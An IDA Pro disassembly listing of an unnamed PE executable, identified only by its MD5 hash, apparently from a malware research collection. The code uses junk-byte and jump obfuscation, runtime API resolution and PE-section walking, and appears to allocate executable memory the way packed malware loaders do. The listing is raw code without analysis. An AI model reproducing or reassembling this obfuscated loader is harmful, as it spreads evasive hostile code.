;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A224CCE2A7207CFC559B9EE38EDC518E

; File Name   :	u:\work\a224cce2a7207cfc559b9ee38edc518e_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000026FE (   9982.)
; Section size in file		: 00002800 (  10240.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 4E4B89FAh, 0A2846D15h, 21EF9771h, 0CC6D0B1Dh, 0A71CD98Bh
		dd 396BAE91h, 4C1942FDh, 0EDD3801h, 0FC57B6AAh,	3ACE747Eh
		dd 2EEA0B6Fh, 689A6130h, 0A03879D5h, 0F2E0CF2Ah, 0E828DA16h
		dd 962587Fh, 3B899F32h,	9F52F9B0h, 0F6A4BA6Fh, 3B492262h
		dd 1AAF0D17h, 0FEA52D31h, 0D03E29F1h, 0CE0B83CEh, 0AE309CFEh
		dd 5F33DEA8h, 0ED6BC5EAh, 1CA95AF5h, 0CBC9AFDBh, 0C08A6883h
		dd 0F72770F5h, 0A22D930h, 0AEE2A95Fh, 0A3110ED6h, 555EEFFEh
		dd 6AF36EDAh, 1B23181Ah, 0B8D8958Bh, 75D33ECh, 9E5A1DC2h
		dd 0C65D7BB3h, 0FE35C4DAh, 59B3DFE3h, 409EEF34h, 34CA961h
		dd 3E107E5Bh, 38D9F9CFh, 0A78CF948h, 7F64C19Ah,	5E39E01Dh
		dd 0FC93EDBEh, 0D0327E35h, 0E2BFE43h, 0DBE6A952h, 0FF239749h
		dd 8BA6393Ah, 14CCDB10h, 0F177C313h, 0B83F72C2h, 0CCABBC36h
		dd 0C0D5C6B9h, 21E53043h, 0B8C88BCCh, 137F836Eh, 89A73CB3h
		dd 0E1602B7Ch, 0C7F8BA38h, 7BFF9D6Ah, 50425C1h,	0D9C163B1h
		dd 235C7199h, 284FDD4Eh, 95243540h, 6AF58C0Eh, 5997C3F9h
		dd 0E870DFD3h, 0E5AFB48Bh, 951E491Fh, 0CD307791h, 303C546Ah
		dd 0D4F840D1h, 0D7F03652h, 6B04D3C8h, 17127F3Bh, 0E5645DA3h
		dd 24BBB7A8h, 0C76C0E7Ch, 0A7DA5C35h, 180157EFh, 0F3BCDAD2h
		dd 8BC81F7Bh, 365DA127h, 0AE0EBF4Eh, 0A0ECDC2Dh, 6ACF173Ch
		dd 6E16CE24h, 87908189h, 5407ACDCh, 5484C44Ch, 0CE55940Eh
		dd 80AC4EF9h, 3548982h,	0D1EF1DD5h, 0F0233FEDh,	4332CB4Bh
		dd 5669951Ah, 0FFA7D089h, 645CF136h, 2B90EB84h,	0A0A497DAh
		dd 663E2A27h
		db 5, 0A7h
; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
		db 0F6h
		dd 82CD64F7h, 0CEC9D093h
		db 0EFh, 0FCh, 85h

; =============== S U B	R O U T	I N E =======================================



start_0		proc far		; CODE XREF: startj

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00401402 SIZE 0000000A BYTES

		xor	eax, eax
		jmp	loc_4011DB
; ---------------------------------------------------------------------------
		dw 0BDAh
		db 0E8h, 1, 0A6h
; ---------------------------------------------------------------------------


loc_4011DB:				; CODE XREF: start_0+2j
		call	sub_403429
		jmp	short loc_4011ED
; ---------------------------------------------------------------------------
		dw 94E7h
		dd 83323Dh, 2CDF7E39h
; ---------------------------------------------------------------------------
		cmc


loc_4011ED:				; CODE XREF: start_0+11j
		test	eax, eax
		jnz	loc_4011FD
		retn
; ---------------------------------------------------------------------------
		jmp	loc_4011FD
; ---------------------------------------------------------------------------
		mov	bh, bl


loc_4011FD:				; CODE XREF: start_0+20j start_0+27j
		push	ebp
		push	ebx
		jmp	short loc_40120C
; ---------------------------------------------------------------------------
		db 18h,	71h, 56h
		dd 0E2ADC4D7h, 2EA93073h
; ---------------------------------------------------------------------------


loc_40120C:				; CODE XREF: start_0+30j
		mov	ebx, eax
		jmp	loc_40121F
; ---------------------------------------------------------------------------
		db 0CFh
		dd 0EB3A655Ch, 0C706E148h
		db 0F4h, 1Dh, 92h
; ---------------------------------------------------------------------------


loc_40121F:				; CODE XREF: start_0+3Fj
		call	sub_4034CE
		push	eax
		push	ecx
		mov	ecx, 0D9CE287Fh
		jmp	loc_401234
; ---------------------------------------------------------------------------
		dd 0D58CBFDEh
; ---------------------------------------------------------------------------


loc_401234:				; CODE XREF: start_0+5Cj
		add	ecx, 0F1C50463h
		jmp	loc_401248
; ---------------------------------------------------------------------------
		db 0EAh
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [eax+51h]
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx


loc_401248:				; CODE XREF: start_0+6Bj
		xchg	ecx, [esp+10h+var_10]
		jmp	short loc_401257
; ---------------------------------------------------------------------------
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
; ---------------------------------------------------------------------------


loc_401257:				; CODE XREF: start_0+7Cj
		push	eax
		jmp	loc_40125E
; ---------------------------------------------------------------------------
		db 0C1h
; ---------------------------------------------------------------------------


loc_40125E:				; CODE XREF: start_0+89j
		call	near ptr sub_403516
		jmp	short loc_401274
; ---------------------------------------------------------------------------
		db 66h,	0A7h, 54h
		dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
; ---------------------------------------------------------------------------


loc_401274:				; CODE XREF: start_0+94j
		call	eax
		cmp	eax, 80000000h
		jbe	loc_401297
		pop	eax
		jmp	loc_40128E
; ---------------------------------------------------------------------------
		db 31h
		dd 6D849716h
		db 0A2h, 33h
; ---------------------------------------------------------------------------


loc_40128E:				; CODE XREF: start_0+B3j
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		jmp	loc_401297
; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------


loc_401297:				; CODE XREF: start_0+ACj start_0+C2j
		mov	eax, [esp+0Ch+var_C]
		push	0FFFFFFFFh
		push	eax
		push	4DD804D4h
		push	eax
		jmp	short loc_4012B1
; ---------------------------------------------------------------------------
		db 1Ch,	25h, 0FAh
		dd 0C6A108ABh, 52DDB487h
		db 23h
; ---------------------------------------------------------------------------


loc_4012B1:				; CODE XREF: start_0+D4j
		mov	eax, 308C4969h
		jmp	short loc_4012C1
; ---------------------------------------------------------------------------
		dd 7F9ED920h, 9BAA954Ch
		db 38h
; ---------------------------------------------------------------------------


loc_4012C1:				; CODE XREF: start_0+E7j
		xor	[esp+1Ch+var_18], eax
		pop	eax
		jmp	short loc_4012D0
; ---------------------------------------------------------------------------
		dd 0E4777611h, 5013024Dh
; ---------------------------------------------------------------------------


loc_4012D0:				; CODE XREF: start_0+F7j
		push	eax
		call	near ptr sub_403516
		jmp	short loc_4012DA
; ---------------------------------------------------------------------------
		dec	ecx
		dec	esi


loc_4012DA:				; CODE XREF: start_0+107j
		call	eax
		or	eax, eax
		jnz	loc_401304
		jmp	short loc_4012F0
; ---------------------------------------------------------------------------
		dw 7C6Fh
		dd 688B5A05h, 14672681h
; ---------------------------------------------------------------------------


loc_4012F0:				; CODE XREF: start_0+115j
		sub	[esp+4+var_4], 1000h
		jmp	loc_401304
; ---------------------------------------------------------------------------
		dd 8003B2BDh, 0AC5FFEB9h
; ---------------------------------------------------------------------------


loc_401304:				; CODE XREF: start_0+10Fj start_0+128j
		pop	eax
		push	697A6AFEh
		jmp	loc_401314
; ---------------------------------------------------------------------------
		db 75h
; ---------------------------------------------------------------------------
		or	bh, [ebx-68h]
		icebp


loc_401314:				; CODE XREF: start_0+13Bj
		push	eax
		jmp	loc_401323
; ---------------------------------------------------------------------------
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb


loc_401323:				; CODE XREF: start_0+146j
		call	near ptr sub_403516
		jmp	loc_401331
; ---------------------------------------------------------------------------
		db 4Fh,	0DCh, 0E5h
		db 0BAh
; ---------------------------------------------------------------------------


loc_401331:				; CODE XREF: start_0+159j
		push	40h
		push	eax
		mov	eax, 71BF326Bh
		jmp	loc_401344
; ---------------------------------------------------------------------------
		xchg	al, [edi+74h]
		popf
		adc	ah, bl


loc_401344:				; CODE XREF: start_0+16Aj
		xor	eax, 71BF026Bh
		jmp	short loc_401358
; ---------------------------------------------------------------------------
		dd 3F5E99E0h, 5B6A550Ch, 3736D1F8h
; ---------------------------------------------------------------------------


loc_401358:				; CODE XREF: start_0+17Bj
		xchg	eax, [esp+8+var_8]
		jmp	short loc_401366
; ---------------------------------------------------------------------------
		db 0A4h, 0Dh, 0C2h
		dd 0E0910D3h
		db 2Fh,	3Ch
; ---------------------------------------------------------------------------


loc_401366:				; CODE XREF: start_0+18Cj
		mov	ecx, 7E10h
		shl	ecx, 4
		jmp	short loc_401378
; ---------------------------------------------------------------------------
		dd 284B1AC5h, 0D427E641h
; ---------------------------------------------------------------------------


loc_401378:				; CODE XREF: start_0+19Fj
		push	ecx
		xor	ecx, ecx
		push	ecx
		jmp	loc_401382
; ---------------------------------------------------------------------------
		db 7Dh
; ---------------------------------------------------------------------------


loc_401382:				; CODE XREF: start_0+1ADj
		call	eax
		jmp	short loc_40138E
; ---------------------------------------------------------------------------
		dw 0C372h
		dd 1FBE7940h
		db 6Ch,	35h
; ---------------------------------------------------------------------------


loc_40138E:				; CODE XREF: start_0+1B5j
		push	edi
		jmp	loc_40139E
; ---------------------------------------------------------------------------
		dd 0B1583BCAh, 0ED041796h
		db 22h,	0B3h
; ---------------------------------------------------------------------------


loc_40139E:				; CODE XREF: start_0+1C0j
		mov	edi, eax
		jmp	loc_4013AD
; ---------------------------------------------------------------------------
		db 70h,	0E9h, 6Eh
		dd 7AA59C0Fh
		db 2Bh
; ---------------------------------------------------------------------------


loc_4013AD:				; CODE XREF: start_0+1D1j
		push	esi
		jmp	loc_401402
start_0		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4013B3	proc near		; CODE XREF: start_0:loc_401402p

; FUNCTION CHUNK AT 004036E8 SIZE 00000017 BYTES

		pop	esi
		jmp	loc_4013BE
; ---------------------------------------------------------------------------
		db 88h,	21h, 46h
		db 7, 34h
; ---------------------------------------------------------------------------


loc_4013BE:				; CODE XREF: sub_4013B3+1j
		jmp	loc_4036E8
sub_4013B3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short sub_4013C8
; ---------------------------------------------------------------------------
		db 5Dh,	0D2h, 0A3h

; =============== S U B	R O U T	I N E =======================================



sub_4013C8	proc near		; CODE XREF: .text:004013C3j
					; sub_4013B3:loc_4036E8p
		mov	edx, [esp+0]
		sub	edx, esi
		jmp	loc_4013E2
; ---------------------------------------------------------------------------
		dw 59A0h
		dd 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h
		db 82h,	93h
; ---------------------------------------------------------------------------


loc_4013E2:				; CODE XREF: sub_4013C8+5j
		push	edx
		jmp	short loc_4013EA
; ---------------------------------------------------------------------------
		db 0D0h, 0C9h, 0CEh
		db 0EFh, 0FCh
; ---------------------------------------------------------------------------


loc_4013EA:				; CODE XREF: sub_4013C8+1Bj
		push	esi
		jmp	loc_4013F3
; ---------------------------------------------------------------------------
		db 85h,	0DAh, 0Bh
; ---------------------------------------------------------------------------


loc_4013F3:				; CODE XREF: sub_4013C8+23j
		push	eax
		jmp	loc_4013FB
; ---------------------------------------------------------------------------
		db 0E8h, 1
; ---------------------------------------------------------------------------


loc_4013FB:				; CODE XREF: sub_4013C8+2Cj
		call	near ptr sub_402D93
		jmp	edi
sub_4013C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start_0


loc_401402:				; CODE XREF: start_0+1DFj
		call	sub_4013B3
		jmp	near ptr sub_40141A
; END OF FUNCTION CHUNK	FOR start_0
; ---------------------------------------------------------------------------
		dd 3D94E7A6h, 39008332h, 0F52CDF7Eh
; ---------------------------------------------------------------------------
		mov	bh, bl

; =============== S U B	R O U T	I N E =======================================



sub_40141A	proc far		; CODE XREF: start_0+238j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_C		= dword	ptr  10h

		push	ebx
		call	near ptr sub_40293D
		jmp	loc_401428
; ---------------------------------------------------------------------------
		sbb	[ecx+56h], dh


loc_401428:				; CODE XREF: sub_40141A+6j
		pop	eax
		jmp	loc_401434
; ---------------------------------------------------------------------------
		dw 0C4D7h
		dd 3073E2ADh
; ---------------------------------------------------------------------------


loc_401434:				; CODE XREF: sub_40141A+Fj
		sub	eax, esi
		jmp	short loc_401440
; ---------------------------------------------------------------------------
		test	eax, 655CCF2Eh
		cmp	ch, bl
		dec	eax


loc_401440:				; CODE XREF: sub_40141A+1Cj
		add	eax, edi
		jmp	short loc_401445
; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------


loc_401445:				; CODE XREF: sub_40141A+28j
		mov	ecx, ebx
		add	ecx, [ecx+3Ch]
		add	ecx, 0F8h
		jmp	short loc_401453
; ---------------------------------------------------------------------------
		push	es


loc_401453:				; CODE XREF: sub_40141A+36j
		add	ecx, 28h
		jmp	short loc_401465
; ---------------------------------------------------------------------------
		mov	esp, 6063921Dh
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch


loc_401465:				; CODE XREF: sub_40141A+3Cj
		mov	ecx, [ecx+0Ch]
		jmp	loc_40147D
; ---------------------------------------------------------------------------
		js	short loc_4014C0
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------


loc_40147D:				; CODE XREF: sub_40141A+4Ej
		add	ecx, ebx
		mov	edx, 47E7h
		jmp	short loc_401490
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h
; ---------------------------------------------------------------------------


loc_401490:				; CODE XREF: sub_40141A+6Aj
		push	edx
		jmp	short loc_4014A2
; ---------------------------------------------------------------------------
		db 3Eh
		dd 4AB5EC9Fh, 1631D8BBh, 0A26D8497h
; ---------------------------------------------------------------------------
		xor	esi, eax


loc_4014A2:				; CODE XREF: sub_40141A+77j
		push	eax
		push	edx
		jmp	short loc_4014B4
; ---------------------------------------------------------------------------
		imul	ebp, esi, 0FA251C8Fh
		stosd
		or	[ecx-224B783Ah], ah
		push	edx


loc_4014B4:				; CODE XREF: sub_40141A+8Aj
		push	ecx
		jmp	loc_4014C6
; ---------------------------------------------------------------------------
		dw 2023h
		dd 4C7F9ED9h
; ---------------------------------------------------------------------------


loc_4014C0:				; CODE XREF: sub_40141A+53j
		xchg	eax, ebp
		stosb
		wait
		cmp	[ecx], dl
; ---------------------------------------------------------------------------
		db 76h
; ---------------------------------------------------------------------------


loc_4014C6:				; CODE XREF: sub_40141A+9Bj
		push	eax
		jmp	loc_4014CD
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------


loc_4014CD:				; CODE XREF: sub_40141A+ADj
		call	near ptr sub_402D93
		jmp	short loc_4014DF
; ---------------------------------------------------------------------------
		dd 13024DE4h, 6F4E4950h
; ---------------------------------------------------------------------------
		jl	short loc_4014E3
		pop	edx


loc_4014DF:				; CODE XREF: sub_40141A+B8j
		pop	eax
		jmp	short loc_4014E9
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4014E3:				; CODE XREF: sub_40141A+C2j
		push	14672681h
; ---------------------------------------------------------------------------
		db 0BDh
; ---------------------------------------------------------------------------


loc_4014E9:				; CODE XREF: sub_40141A+C6j
		pop	edx
		push	eax
		push	edx
		jmp	short loc_4014F2
; ---------------------------------------------------------------------------
		dw 3B2h
		db 80h,	0B9h
; ---------------------------------------------------------------------------


loc_4014F2:				; CODE XREF: sub_40141A+D2j
		add	eax, edx
		mov	esi, eax
		jmp	loc_4014FE
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		pop	edi
		lodsb


loc_4014FE:				; CODE XREF: sub_40141A+DCj
		push	esi
		jmp	loc_40150D
; ---------------------------------------------------------------------------
		dd 987B0A75h, 4457D6F1h
		db 2Dh
; ---------------------------------------------------------------------------


loc_40150D:				; CODE XREF: sub_40141A+E5j
		mov	esi, ebx
		jmp	loc_401522
; ---------------------------------------------------------------------------
		dd 29B0F362h, 0E5DC4FAEh, 61C86BBAh
		db 86h,	47h
; ---------------------------------------------------------------------------


loc_401522:				; CODE XREF: sub_40141A+F5j
		add	esi, [esi+3Ch]
		jmp	loc_40152D
; ---------------------------------------------------------------------------
		dw 9D74h
		db 12h
; ---------------------------------------------------------------------------


loc_40152D:				; CODE XREF: sub_40141A+10Bj
					; sub_40141A+153j
		add	esi, 0F8h
		jmp	loc_401541
; ---------------------------------------------------------------------------
		dd 5E99E0E3h, 6A550C3Fh
; ---------------------------------------------------------------------------
		pop	ebx


loc_401541:				; CODE XREF: sub_40141A+119j
		add	esi, 28h
		jmp	loc_401558
; ---------------------------------------------------------------------------
		db 0F8h, 0D1h, 36h
		dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh
; ---------------------------------------------------------------------------


loc_401558:				; CODE XREF: sub_40141A+12Aj
		add	esi, 28h
		mov	eax, [esi+0Ch]
		jmp	loc_40156F
; ---------------------------------------------------------------------------
		db 4Bh
		dd 27E64128h, 0C3727DD4h
; ---------------------------------------------------------------------------
		inc	eax
		jns	short loc_40152D


loc_40156F:				; CODE XREF: sub_40141A+144j
		pop	esi
		jmp	loc_401584
; ---------------------------------------------------------------------------
		db 1Fh,	6Ch, 35h
		dd 0B1583BCAh, 0ED041796h, 0E970B322h
; ---------------------------------------------------------------------------


loc_401584:				; CODE XREF: sub_40141A+156j
		push	eax
		call	sub_4034CE
		push	edi
		mov	edi, 0D2A7F380h
		jmp	short loc_401593
; ---------------------------------------------------------------------------
		movsd


loc_401593:				; CODE XREF: sub_40141A+176j
		add	edi, 8BE8706Eh
		jmp	short loc_4015A4
; ---------------------------------------------------------------------------
		db 7Ah
		dd 4621882Bh, 0D25D3407h
; ---------------------------------------------------------------------------


loc_4015A4:				; CODE XREF: sub_40141A+17Fj
		xchg	edi, [esp+0]
		jmp	loc_4015BC
; ---------------------------------------------------------------------------
		dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h
; ---------------------------------------------------------------------------


loc_4015BC:				; CODE XREF: sub_40141A+18Dj
		push	eax
		jmp	short loc_4015C9
; ---------------------------------------------------------------------------
		db 93h
		dd 0EFCEC9D0h, 0BDA85FCh
		db 0E8h
; ---------------------------------------------------------------------------


loc_4015C9:				; CODE XREF: sub_40141A+1A3j
		call	near ptr sub_403516
		add	eax, 5
		call	eax
		jmp	loc_4015DF
; ---------------------------------------------------------------------------
		dd 94E7A601h
		db 3Dh,	32h, 83h
; ---------------------------------------------------------------------------


loc_4015DF:				; CODE XREF: sub_40141A+1B9j
		push	dword ptr [eax]
		jmp	loc_4015F4
; ---------------------------------------------------------------------------
		dw 3900h
		dd 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h
; ---------------------------------------------------------------------------


loc_4015F4:				; CODE XREF: sub_40141A+1C7j
		movzx	edx, byte ptr [esp+0]
		jmp	short loc_4015FF
; ---------------------------------------------------------------------------
		dw 73E2h
		db 30h,	0A9h, 2Eh
; ---------------------------------------------------------------------------


loc_4015FF:				; CODE XREF: sub_40141A+1DEj
		pop	ecx
		jmp	loc_401610
; ---------------------------------------------------------------------------
		db 0CFh, 5Ch, 65h
		dd 0E148EB3Ah, 1DF4C706h
; ---------------------------------------------------------------------------


loc_401610:				; CODE XREF: sub_40141A+1E6j
		sub	eax, edx
		jmp	loc_401620
; ---------------------------------------------------------------------------
		db 92h
		dd 0DE196063h, 0EAD58CBFh
; ---------------------------------------------------------------------------


loc_401620:				; CODE XREF: sub_40141A+1F8j
		push	eax
		mov	ecx, [ebx]
		jmp	short loc_40162B
; ---------------------------------------------------------------------------
		db 0DBh, 78h, 51h
		db 0B6h, 0B7h, 24h
; ---------------------------------------------------------------------------


loc_40162B:				; CODE XREF: sub_40141A+209j
		mov	eax, ecx
		jmp	short loc_40163E
; ---------------------------------------------------------------------------
		lea	eax, [edx+53h]
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw


loc_40163E:				; CODE XREF: sub_40141A+213j
		shr	eax, 8
		add	ecx, eax
		jmp	loc_401652
; ---------------------------------------------------------------------------
		dd 43F2FD54h, 9F3EF9C0h
		db 0ECh, 0B5h
; ---------------------------------------------------------------------------


loc_401652:				; CODE XREF: sub_40141A+229j
		push	cs
		jmp	short loc_40165D
; ---------------------------------------------------------------------------
		db 4Ah,	0BBh, 0D8h
		dd 84971631h
		db 6Dh
; ---------------------------------------------------------------------------


loc_40165D:				; CODE XREF: sub_40141A+239j
		mov	eax, [esp+4+var_4]
		jmp	short loc_401663
; ---------------------------------------------------------------------------
		db 0A2h
; ---------------------------------------------------------------------------


loc_401663:				; CODE XREF: sub_40141A+246j
		add	esp, 4
		jmp	short loc_401670
; ---------------------------------------------------------------------------
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh


loc_401670:				; CODE XREF: sub_40141A+24Cj
		inc	eax
		jmp	loc_401677
; ---------------------------------------------------------------------------
		stosd


loc_401677:				; CODE XREF: sub_40141A+257j
		add	ecx, eax
		and	ecx, 0FFh
		jmp	short loc_401683
; ---------------------------------------------------------------------------
		db 8, 0A1h
; ---------------------------------------------------------------------------


loc_401683:				; CODE XREF: sub_40141A+265j
		pop	eax
		jmp	short loc_40168D
; ---------------------------------------------------------------------------
		mov	byte ptr [edi+2352DDB4h], 20h


loc_40168D:				; CODE XREF: sub_40141A+26Aj
		add	eax, ecx
		jmp	loc_4016A1
; ---------------------------------------------------------------------------
		dd 4C7F9ED9h, 389BAA95h, 0E4777611h
; ---------------------------------------------------------------------------
		dec	ebp


loc_4016A1:				; CODE XREF: sub_40141A+275j
		call	eax
		pop	eax
		jmp	loc_4016B6
; ---------------------------------------------------------------------------
		db 2, 13h, 50h
		dd 7C6F4E49h, 688B5A05h
		db 81h,	26h
; ---------------------------------------------------------------------------


loc_4016B6:				; CODE XREF: sub_40141A+28Aj
		mov	ecx, 3629h
		jmp	loc_4016C3
; ---------------------------------------------------------------------------
		db 67h,	14h, 0BDh
; ---------------------------------------------------------------------------


loc_4016C3:				; CODE XREF: sub_40141A+2A1j
		push	ecx
		add	eax, ebx
		jmp	short loc_4016D6
; ---------------------------------------------------------------------------
		dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah
; ---------------------------------------------------------------------------
		setalc
		push	edi


loc_4016D6:				; CODE XREF: sub_40141A+2ACj
		push	ecx
		jmp	loc_4016EA
; ---------------------------------------------------------------------------
		dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh
		db 0C8h, 61h
; ---------------------------------------------------------------------------


loc_4016EA:				; CODE XREF: sub_40141A+2BDj
		push	eax
		jmp	loc_4016F1
; ---------------------------------------------------------------------------
		db 86h
; ---------------------------------------------------------------------------


loc_4016F1:				; CODE XREF: sub_40141A+2D1j
		push	esi
		call	near ptr sub_402D93
		pop	ecx
		jmp	short loc_4016FB
; ---------------------------------------------------------------------------
		inc	edi


loc_4016FB:				; CODE XREF: sub_40141A+2DEj
		pop	edx
		mov	esi, [esp+0]
		add	ecx, edx
		push	ecx
		mov	ecx, 470AFE62h
		jmp	loc_40170E
; ---------------------------------------------------------------------------
		db 0E3h, 0E0h
; ---------------------------------------------------------------------------


loc_40170E:				; CODE XREF: sub_40141A+2EDj
		add	ecx, 0D07E4874h
		jmp	loc_401720
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas
		or	al, 55h
		push	5Bh


loc_401720:				; CODE XREF: sub_40141A+2FAj
		xchg	ecx, [esp+0]
		push	esi
		mov	esi, 4413FAA4h
		jmp	short loc_401732
; ---------------------------------------------------------------------------
		aaa
		movsb
		or	eax, 910D3C2h


loc_401732:				; CODE XREF: sub_40141A+30Fj
		sub	esi, 0E8A62F8h
		jmp	short loc_40173B
; ---------------------------------------------------------------------------
		push	cs


loc_40173B:				; CODE XREF: sub_40141A+31Ej
		xchg	esi, [esp+4+var_4]
		push	ecx
		mov	ecx, 7C169886h
		jmp	loc_401750
; ---------------------------------------------------------------------------
		db 1Ah,	4Bh, 28h
		dd 0D427E641h
; ---------------------------------------------------------------------------


loc_401750:				; CODE XREF: sub_40141A+32Aj
		xor	ecx, 2052202Fh
		jmp	short loc_401767
; ---------------------------------------------------------------------------
		jge	short loc_4017CC
		retn
; ---------------------------------------------------------------------------
		db 40h
		dd 6C1FBE79h, 583BCA35h
; ---------------------------------------------------------------------------
		mov	cl, 96h
		pop	ss


loc_401767:				; CODE XREF: sub_40141A+33Cj
		xchg	ecx, [esp+4+var_4]
		push	eax
		mov	eax, 9E75D996h
		jmp	loc_40177B
; ---------------------------------------------------------------------------
		db 0B3h, 70h, 0E9h
		db 6Eh,	0Fh, 9Ch
; ---------------------------------------------------------------------------


loc_40177B:				; CODE XREF: sub_40141A+356j
		xor	eax, 0BDC25704h
		jmp	loc_401793
; ---------------------------------------------------------------------------
		dw 7AA5h
		dd 4621882Bh, 0D25D3407h
		db 0A3h, 0A0h, 59h
; ---------------------------------------------------------------------------


loc_401793:				; CODE XREF: sub_40141A+367j
		xchg	eax, [esp+8+var_8]
		jmp	short loc_4017A7
; ---------------------------------------------------------------------------
		dd 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h
		db 82h,	93h, 0D0h
; ---------------------------------------------------------------------------


loc_4017A7:				; CODE XREF: sub_40141A+37Cj
		push	ecx
		jmp	loc_4017BA
; ---------------------------------------------------------------------------
		db 0C9h, 0CEh, 0EFh
		dd 0BDA85FCh, 0E7A601E8h
		db 94h,	3Dh
; ---------------------------------------------------------------------------


loc_4017BA:				; CODE XREF: sub_40141A+38Ej
		push	esi
		call	sub_402C8E
		jmp	short loc_4017CB
; ---------------------------------------------------------------------------
		dw 8332h
		dd 0DF7E3900h
		db 2Ch,	0F5h, 8Ah
; ---------------------------------------------------------------------------


loc_4017CB:				; CODE XREF: sub_40141A+3A6j
		pop	eax


loc_4017CC:				; CODE XREF: sub_40141A+33Ej
		jmp	loc_4017DD
; ---------------------------------------------------------------------------
		db 0FBh, 18h, 71h
		dd 0ADC4D756h, 0A93073E2h
		db 2Eh
; ---------------------------------------------------------------------------


loc_4017DD:				; CODE XREF: sub_40141A:loc_4017CCj
		mov	esi, eax
		jmp	loc_4017EE
; ---------------------------------------------------------------------------
		dd 3A655CCFh, 6E148EBh
		db 0C7h, 0F4h
; ---------------------------------------------------------------------------


loc_4017EE:				; CODE XREF: sub_40141A+3C5j
		push	eax
		jmp	short loc_4017FD
; ---------------------------------------------------------------------------
		db 1Dh,	92h, 63h
		dd 0BFDE1960h, 0DBEAD58Ch
		db 78h
; ---------------------------------------------------------------------------


loc_4017FD:				; CODE XREF: sub_40141A+3D5j
		push	ebx
		call	sub_402410
		jmp	loc_40180E
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx


loc_40180E:				; CODE XREF: sub_40141A+3E9j
		add	esi, 0F8h
		jmp	short loc_401826
; ---------------------------------------------------------------------------
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h
		db 0FDh, 0F2h
; ---------------------------------------------------------------------------


loc_401826:				; CODE XREF: sub_40141A+3FAj
		add	esi, 4
		push	ebx
		jmp	loc_401833
; ---------------------------------------------------------------------------
		inc	ebx
		sar	cl, 3Eh


loc_401833:				; CODE XREF: sub_40141A+410j
		push	esi
		jmp	short loc_401843
; ---------------------------------------------------------------------------
		dw 0EC9Fh
		dd 0D8BB4AB5h, 84971631h
		db 6Dh,	0A2h, 33h
; ---------------------------------------------------------------------------


loc_401843:				; CODE XREF: sub_40141A+41Aj
		push	ebx
		jmp	short loc_40184D
; ---------------------------------------------------------------------------
		dw 69F0h
		dd 251C8FEEh
; ---------------------------------------------------------------------------
		cli


loc_40184D:				; CODE XREF: sub_40141A+42Aj
		call	near ptr sub_4019C4
		pop	ebx
		jmp	short loc_40185B
; ---------------------------------------------------------------------------
		db 0ABh, 8, 0A1h
		db 0C6h, 87h, 0B4h
; ---------------------------------------------------------------------------


loc_40185B:				; CODE XREF: sub_40141A+439j
		call	sub_4034CE
		jmp	loc_401870
; ---------------------------------------------------------------------------
		fst	qword ptr [edx+23h]
		and	cl, bl
		sahf
		jg	short loc_4018B9
		xchg	eax, ebp
		stosb
		wait


loc_401870:				; CODE XREF: sub_40141A+446j
		mov	ecx, ebx
		add	ecx, [ecx+3Ch]
		jmp	short loc_40187E
; ---------------------------------------------------------------------------
		db 38h
